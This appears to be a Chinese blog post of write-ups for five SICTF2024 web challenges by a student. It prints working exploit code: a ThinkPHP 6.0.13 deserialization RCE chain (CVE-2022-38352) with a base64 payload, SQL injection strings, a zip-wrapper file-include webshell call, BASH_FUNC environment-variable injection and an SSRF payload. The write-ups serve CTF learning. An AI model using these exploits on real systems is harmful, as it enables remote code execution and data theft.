SICTF2024-Web-wp By.Starven

发布于 2024-02-18  34 次阅读


Oyst3rPHP

考点

  • php 数组被ban时md5弱类型比较,preg_match和stripo组合绕过其中一个
  • thinkphp v6.0.13反序列化(CVE-2022-38352)漏洞

题目

image.png

分析

开题进来啥都没有

image.png

扫一下扫出/www.zip

image.png

下载下来得到源码

image.png

是一个thinkphp框架,php的轻量级开发框架

然后在...\www(1)\app\controller\Index.php下发现反序列化注入点

源码如下(末尾那部分没用的代码我给删了)

<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{

    public function index()
    {
        echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";
        echo "<img src='../Oyster.png'"."/>";
        
        
        $payload = base64_decode(@$_POST['payload']);
        $right = @$_GET['left'];
        $left = @$_GET['right'];
        
        $key = (string)@$_POST['key'];
        if($right !== $left && md5($right) == md5($left)){
            
            echo "Congratulations on getting your first oyster";
            echo "<img src='../Oyster1.png'"."/>";
            
            if(preg_match('/.+?THINKPHP/is', $key)){
                die("Oysters don't want you to eat");
            }
            if(stripos($key, '603THINKPHP') === false){
                die("!!!Oysters don't want you to eat!!!");
            }
            
            echo "WOW!!!Congratulations on getting your second oyster";
            echo "<img src='../Oyster2.png'"."/>";
            
            @unserialize($payload);
            //最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???
            //在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!
            //小Tips:细狗函数┗|`O′|┛ 嗷~~
        }
    }

代码审计下来很明显可以知道,要进入反序列化点还有两个php特性需要绕过

分别是md5弱类型比较和一个preg_match的绕过

首先肯定会想到数组绕过

但是这个题的get和post参数都是无法使用数组的,否则会出现如下报错(因此后面的stripos无法用数组绕过只能想办法绕过preg_match了)

image.png

md5无法用数组绕过,换用加密后0e开头的那几个字符串即可

?right=QNKCDZO&left=240610708

回溯绕过preg_match

exp如下:

import requests
url = 'http://yuanshen.life:39233/?right=QNKCDZO&left=240610708'
data = {
    "key":  "a" * 1000000 +"603thinkphp"
         }
res = requests.post(url,data=data)
print(res.text)
image.png

可以成功进入反序列化点

接下来分析链子

1.thinkphp\vendor\league\flysystem-cached-adapter\src\Storage\AbstractCache.php中的public function __destruct()

public function __destruct()
    {
        if (! $this->autosave) {
            $this->save();
        }/*WOW!!!看来你是懂的,第三个生蚝在根目录下的Oyst3333333r.php里,快去找到它吧*/
    }

2.接着 $this->save 就会跳转到 Psr6Cache 类的 save 方法

thinkphp\vendor\league\flysystem-cached-adapter\src\Storage\Psr6Cache.php

这里在初始化的时候传入与了一个 $pool 变量

public function save()
    {
        $item = $this->pool->getItem($this->key);
        $item->set($this->getForStorage());
        $item->expiresAfter($this->expire);
        $this->pool->save($item);
    }

在 Psr6Cache 类中,$this->pool->getItem 调用时,出发了魔术方法_call,因为 Channel 对象中没有 getItem 方法。此时也会执行构造方法

3....\thinkphp\vendor\topthink\framework\src\think\log\Channel.php

public function __call($method, $parameters)
    {
        $this->log($method, ...$parameters);
    }

在 Channel 类中的_call 方法,__call 方法中又调用了 $this->log 方法

public function log($level, $message, array $context = [])
    {
        $this->record($message, $level, $context);
    }

4.接着跟踪 $this->record 方法,这个方法是用来记录日志信息的。这里最终会调用到 $this->save 方法

路径仍然是thinkphp\vendor\topthink\framework\src\think\log\Channel.php

public function record($msg, string $type = 'info', array $context = [], bool $lazy = true)
    {
        if ($this->close || (!empty($this->allow) && !in_array($type, $this->allow))) {
            return $this;
        }

        if (is_string($msg) && !empty($context)) {
            $replace = [];
            foreach ($context as $key => $val) {
                $replace['{' . $key . '}'] = $val;
            }

            $msg = strtr($msg, $replace);
        }

        if (!empty($msg) || 0 === $msg) {
            $this->log[$type][] = $msg;
        }

        if (!$this->lazy || !$lazy) {
            $this->save();
        }

        return $this;
    }

5.来到 save 方法,save 方法中又调用到了 $this->logger->save ()

路径仍然是thinkphp\vendor\topthink\framework\src\think\log\Channel.php

public function save(): bool
    {
        $log = $this->log;
        if ($this->event) {
            $event = new LogWrite($this->name, $log);
            $this->event->trigger($event);
            $log = $event->log;
        }

        if ($this->logger->save($log)) {
            $this->clear();
            return true;
        }

        return false;
    }

这里在初始化的时候定义了 $this->logger = new think\log\driver\Socket () ,所以在调用的时候会去往 Socket 类(文章审的链子是这么说的,可能是我眼瞎没看到)

  1. thinkphp\vendor\topthink\framework\src\think\log\driver\Socket.php

现在来到这个路径的save方法

部分代码如下:

if (!empty($this->config['format_head'])) {
                try {
                    $currentUri = $this->app->invoke($this->config['format_head'], [$currentUri]);
                } catch (NotFoundExceptionInterface $notFoundException) {
                    // Ignore exception
                }
            }

if (!empty($this->config['format_head'])) {
                try {
                    $currentUri = $this->app->invoke($this->config['format_head'], [$currentUri]);
                } catch (NotFoundExceptionInterface $notFoundException) {
                    // Ignore exception
                }
            }

此时 $this->config ['format_head'] = [new \think\view\driver\Php,'display']

这里的 $this->app->invoke 是调用反射执行 callable 支持参数绑定,进行动态反射调用

7.跟踪 $this->app->invoke

路径是thinkphp\vendor\topthink\framework\src\think\Container.php

public function invoke($callable, array $vars = [], bool $accessible = false)
    {
        if ($callable instanceof Closure) {
            return $this->invokeFunction($callable, $vars);
        } elseif (is_string($callable) && false === strpos($callable, '::')) {
            return $this->invokeFunction($callable, $vars);
        } else {
            return $this->invokeMethod($callable, $vars, $accessible);
        }
    }
public function invokeMethod($method, array $vars = [], bool $accessible = false)
    {
        if (is_array($method)) {
            [$class, $method] = $method;

            $class = is_object($class) ? $class : $this->invokeClass($class);
        } else {
            // 静态方法
            [$class, $method] = explode('::', $method);
        }

        try {
            $reflect = new ReflectionMethod($class, $method);
        } catch (ReflectionException $e) {
            $class = is_object($class) ? get_class($class) : $class;
            throw new FuncNotFoundException('method not exists: ' . $class . '::' . $method . '()', "{$class}::{$method}", $e);
        }

        $args = $this->bindParams($reflect, $vars);

        if ($accessible) {
            $reflect->setAccessible($accessible);
        }

        return $reflect->invokeArgs(is_object($class) ? $class : null, $args);
    }

这里的判断循环最终会进入到 return $reflect->invokeArgs (is_object ($class) ? $class : null, $args);

通过这里的反射方法来到 Php 类下的 display 方法,$calss 是一个对象类,$args 就是对象类下的方法

  1. 跟踪Php 类下的 display 方法

路径是thinkphp\vendor\topthink\framework\src\think\view\driver\Php.php

public function display(string $content, array $data = []): void
    {
        $this->content = $content;
        extract($data, EXTR_OVERWRITE);
        eval('?>' . $this->content);
    }

来到 display 方法中,$content 就是传递的值,然后拼接到了 eval 去执行命令

然后在网上找到CVE-2022-38352的POC

<?php

namespace League\Flysystem\Cached\Storage{

    class Psr6Cache{
        private $pool;
        protected $autosave = false;
        public function __construct($exp)
        {
            $this->pool = $exp;
        }
    }
}

namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;

        public function __construct($exp)
        {
            $this->logger = $exp; 
            $this->lazy = false;
        }
    }
}

namespace think{
    class Request{
        protected $url;
        public function __construct()
        {
            $this->url = '<?php system("cat /Oyst3333333r.php"); exit(); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct()
        {
            $this->instances = ['think\Request'=>new Request()];
        }
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think\log\driver{

    class Socket{
        protected $config = [];
        protected $app;
        protected $clientArg = [];

        public function __construct()
        {
            
            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php,'display'], # 利用类和方法
            ];
            $this->app = new \think\App();
            $this->clientArg = ['tabid'=>'1'];
        }
    }
}

namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo base64_encode(serialize($a));
}

//运行得到:Tzo0MToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxQc3I2Q2FjaGUiOjI6e3M6NDc6IgBMZWFndWVcRmx5c3lzdGVtXENhY2hlZFxTdG9yYWdlXFBzcjZDYWNoZQBwb29sIjtPOjE3OiJ0aGlua1xsb2dcQ2hhbm5lbCI6Mjp7czo5OiIAKgBsb2dnZXIiO086MjM6InRoaW5rXGxvZ1xkcml2ZXJcU29ja2V0IjozOntzOjk6IgAqAGNvbmZpZyI7YTo0OntzOjU6ImRlYnVnIjtiOjE7czoxNjoiZm9yY2VfY2xpZW50X2lkcyI7aToxO3M6MTY6ImFsbG93X2NsaWVudF9pZHMiO3M6MDoiIjtzOjExOiJmb3JtYXRfaGVhZCI7YToyOntpOjA7TzoyMToidGhpbmtcdmlld1xkcml2ZXJcUGhwIjowOnt9aToxO3M6NzoiZGlzcGxheSI7fX1zOjY6IgAqAGFwcCI7Tzo5OiJ0aGlua1xBcHAiOjE6e3M6MTI6IgAqAGluc3RhbmNlcyI7YToxOntzOjEzOiJ0aGlua1xSZXF1ZXN0IjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjoxOntzOjY6IgAqAHVybCI7czo0OToiPD9waHAgc3lzdGVtKCJjYXQgL095c3QzMzMzMzMzci5waHAiKTsgZXhpdCgpOyA/PiI7fX19czoxMjoiACoAY2xpZW50QXJnIjthOjE6e3M6NToidGFiaWQiO3M6MToiMSI7fX1zOjc6IgAqAGxhenkiO2I6MDt9czoxMToiACoAYXV0b3NhdmUiO2I6MDt9

最终exp:

import requests
url = 'http://yuanshen.life:39233/?right=QNKCDZO&left=240610708'
data = {
    "key":  "a" * 1000000 +"603thinkphp",
    "payload":"Tzo0MToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxQc3I2Q2FjaGUiOjI6e3M6NDc6IgBMZWFndWVcRmx5c3lzdGVtXENhY2hlZFxTdG9yYWdlXFBzcjZDYWNoZQBwb29sIjtPOjE3OiJ0aGlua1xsb2dcQ2hhbm5lbCI6Mjp7czo5OiIAKgBsb2dnZXIiO086MjM6InRoaW5rXGxvZ1xkcml2ZXJcU29ja2V0IjozOntzOjk6IgAqAGNvbmZpZyI7YTo0OntzOjU6ImRlYnVnIjtiOjE7czoxNjoiZm9yY2VfY2xpZW50X2lkcyI7aToxO3M6MTY6ImFsbG93X2NsaWVudF9pZHMiO3M6MDoiIjtzOjExOiJmb3JtYXRfaGVhZCI7YToyOntpOjA7TzoyMToidGhpbmtcdmlld1xkcml2ZXJcUGhwIjowOnt9aToxO3M6NzoiZGlzcGxheSI7fX1zOjY6IgAqAGFwcCI7Tzo5OiJ0aGlua1xBcHAiOjE6e3M6MTI6IgAqAGluc3RhbmNlcyI7YToxOntzOjEzOiJ0aGlua1xSZXF1ZXN0IjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjoxOntzOjY6IgAqAHVybCI7czo0OToiPD9waHAgc3lzdGVtKCJjYXQgL095c3QzMzMzMzMzci5waHAiKTsgZXhpdCgpOyA/PiI7fX19czoxMjoiACoAY2xpZW50QXJnIjthOjE6e3M6NToidGFiaWQiO3M6MToiMSI7fX1zOjc6IgAqAGxhenkiO2I6MDt9czoxMToiACoAYXV0b3NhdmUiO2I6MDt9"
         }
res = requests.post(url,data=data)
print(res.text)

得到flag:

image.png

flag

SICTF{00e5b08c-c121-402b-a350-678ee2a6764d}

reference

https://www.wangan.com/p/11v7603e74afca54
https://www.cnblogs.com/1vxyz/articles/17659770.html

100%upload

考点

  • 文件上传zip+文件包含zip压缩流伪协议

    题目

image.png

分析

这个题说来惭愧,没看到有一个get参数,一直在那试没用到文件包含的文件上传导致被卡半天,属于是眼瞎了

开题看到页面

image.png

经过测试php,php3等等后缀均被ban

而且不是MIME检测,因此无法传图片发包改后缀

zip文件可以上传,因此通过php伪协议包含zip压缩流的内容来getshell

zip的三种伪协议,均尝试过,只有zlib被允许使用,其余两种zip://和bzip2如下,这两种协议没有开,因此只能用zlib

image.png

zip文件是一个图片马做过来的

image.png

上传

image.png

然后rce

http://yuanshen.life:39277/index.php?file=compress.zlib://uploads/2.zip&cmd=system('cat /flag');
image.png

flag

SICTF{5b331959-b1af-40f1-8603-2958eddd854c}

hacker

考点

sql无列名注入

题目

image.png

分析

fuzz跑一下被ban的

image.png
image.png

这里麻了,就一列,开始忘了判断一列的了

判断列数: image.png

当前数据库:

?username=1.1'/**/union/**/select/**/database()' image.png

接下来查表名,由于information_schema被ban,所以想到

sys.schema的其中两个表,但是也被ban,

然后查一下文章https://k1te.cn/2021/05/19/no-column-sql-injection/

发现mysql.innodb_table_stats也可以查表名

无列名注入查表名

1.1'/**/union/**/select/**/(select/**/`1`/**/from/**/(select/**/1/**/union/**/select/**/table_name/**/from/**/mysql.innodb_table_stats)a/**/limit/**/1,1)'
image.png

找flag

1.1'/**/union/**/select/**/(select/**/`2`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)a/**/limit/**/1,1)'
image.png

flag

SICTF{f3f809e6-8410-42e0-92c1-6431f540f7d0}

Not just unserialize

考点

  • bash shellshock漏洞
  • 环境变量注入漏洞

题目

image.png

分析

开题就是反序列化源码


<?php

highlight_file(__FILE__);
class start
{
    public $welcome;
    public $you;
    public function __destruct()
    {
        $this->begin0fweb();
    }
    public  function begin0fweb()
    {
        $p='hacker!';
        $this->welcome->you = $p;
    }
}

class SE{
    public $year;
    public function __set($name, $value){
        echo '  Welcome to new year!  ';
        echo($this->year);
    }
}

class CR {
    public $last;
    public $newyear;

    public function __tostring() {

        if (is_array($this->newyear)) {
            echo 'nonono';
            return false;
        }
        if (!preg_match('/worries/i',$this->newyear))
        {
            echo "empty it!";
            return 0;
        }

        if(preg_match('/^.*(worries).*$/',$this->newyear)) {
            echo 'Don\'t be worry';
        } else {
            echo 'Worries doesn\'t exists in the new year  ';
            empty($this->last->worries);
        }
        return false;
    }
}

class ET{

    public function __isset($name)
    {
        foreach ($_GET['get'] as $inject => $rce){
            putenv("{$inject}={$rce}");
        }
        system("echo \"Haven't you get the secret?\"");
    }
}
if(isset($_REQUEST['go'])){
    unserialize(base64_decode($_REQUEST['go']));
}
?> 

链子简单,POC如下

<?php


class start
{
    public $welcome;
    public $you;
}

class SE{
    public $year;
}

class CR {
    public $last;
    public $newyear;
}

class ET{
}

$a=new start();
$a->welcome=new SE();
$a->welcome->year=new CR();
$a->welcome->year->newyear='Worries';
$a->welcome->year->last=new ET();
echo base64_encode(serialize($a));
?> 

然后就是学习环境变量注入漏洞

参考文章

https://tttang.com/archive/1450/#toc_0x08

关键部分如下

env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc'
image.png

个人理解是:

bash shellshock漏洞通过BASH_FUNC_函数名%%=() { 命令; }来覆盖并且重新定义函数功能,通过环境变量注入漏洞将echo函数自定义成自己的命令,从而题目源码末尾在调用system之后echo那一串字符串时就会被覆盖为执行我们覆盖后的函数功能,从而达到rce

payload(注意小括号后有空格,大括号后也有空格)

?get[BASH_FUNC_echo%%]=() { ls /;}

post参数:
go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXb3JyaWVzIjt9fXM6MzoieW91IjtOO30=
image.png

flag

image.png
SICTF{c3b1403d-c792-405d-965e-3f559cb2d0a5}

EZ_SSRF

考点

  • ssrf漏洞

题目

image.png

分析

学习文章 http://f0und.icu/article/23.html

开题就是php源码

<?php
highlight_file(__file__);
error_reporting(0);
function get($url) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_HEADER, 0);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    $data = curl_exec($curl);
    curl_close($curl);
    echo base64_encode($data);
    return $data;
}
class client{
    public $url;
    public $payload;
    public function __construct()
    {
        $url = "http://127.0.0.1/";
        $payload = "system(\"cat /flag\");";
        echo "Exploit";
    }
    public function __destruct()
    {
        get($this->url);
    }
}
// hint:hide other file
if(isset($_GET['Harder'])) {
    unserialize($_GET['Harder']);
} else {
    echo "You don't know how to pass parameters?";
}

?>
You don't know how to pass parameters?

根据hint扫出路由

image.png

poc如下

<?php

class client{
    public $url;
    public $payload;

} 
$b=new client();
$b->url='http://127.0.0.1/admin.php';
echo serialize($b);
#O:6:"client":2:{s:3:"url";s:26:"http://127.0.0.1/admin.php";s:7:"payload";N;}
image.png

拿去解码得到flag

image.png

flag

SICTF{4fa62797-2fee-4317-a57a-3b2a595082e6}

大一在读菜鸡ctfer的成长记录